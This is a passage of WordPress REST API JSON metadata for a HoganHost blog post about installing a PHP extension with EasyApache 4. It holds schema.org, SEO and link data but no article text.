okon","twitter_card":"summary_large_image","twitter_creator":"@hoganhostng","twitter_site":"@hoganhostng","twitter_misc":{"Written by":"Abigal okon","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#article","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/"},"author":{"name":"Abigal okon","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a"},"headline":"How to Install a PHP Extension Using EasyApache 4","datePublished":"2021-09-16T09:11:31+00:00","dateModified":"2024-08-12T12:34:43+00:00","mainEntityOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/"},"wordCount":636,"commentCount":0,"publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png","articleSection":["Cpanel","whm"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/","url":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/","name":"How to Install a PHP Extension Using EasyApache 4 - HoganHost blog","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#primaryimage"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png","datePublished":"2021-09-16T09:11:31+00:00","dateModified":"2024-08-12T12:34:43+00:00","description":"EasyApache 4 (EA4) makes managing PHP Extensions very simple. If you are currently using EasyApache 3 (EA3), you should\u00a0upgrade","breadcrumb":{"@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#primaryimage","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png","width":303,"height":330},{"@type":"BreadcrumbList","@id":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hoganhost.com.ng\/blog\/"},{"@type":"ListItem","position":2,"name":"How to Install a PHP Extension Using EasyApache 4"}]},{"@type":"WebSite","@id":"https:\/\/hoganhost.com.ng\/blog\/#website","url":"https:\/\/hoganhost.com.ng\/blog\/","name":"HoganHost blog","description":"Keeping you connected to everything from HoganHost","publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hoganhost.com.ng\/blog\/#organization","name":"HoganHost","url":"https:\/\/hoganhost.com.ng\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","width":466,"height":387,"caption":"HoganHost"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/HoganHost","https:\/\/x.com\/hoganhostng","https:\/\/instagram.com\/officialhoganhost"]},{"@type":"Person","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a","name":"Abigal okon","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","caption":"Abigal okon"},"sameAs":["https:\/\/hoganhost.com.ng\/blog"],"url":"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/568","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/comments?post=568"}],"version-history":[{"count":2,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/568\/revisions"}],"predecessor-version":[{"id":580,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/568\/revisions\/580"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media\/570"}],"wp:attachment":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media?parent=568"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/categories?post=568"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/tags?post=568"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}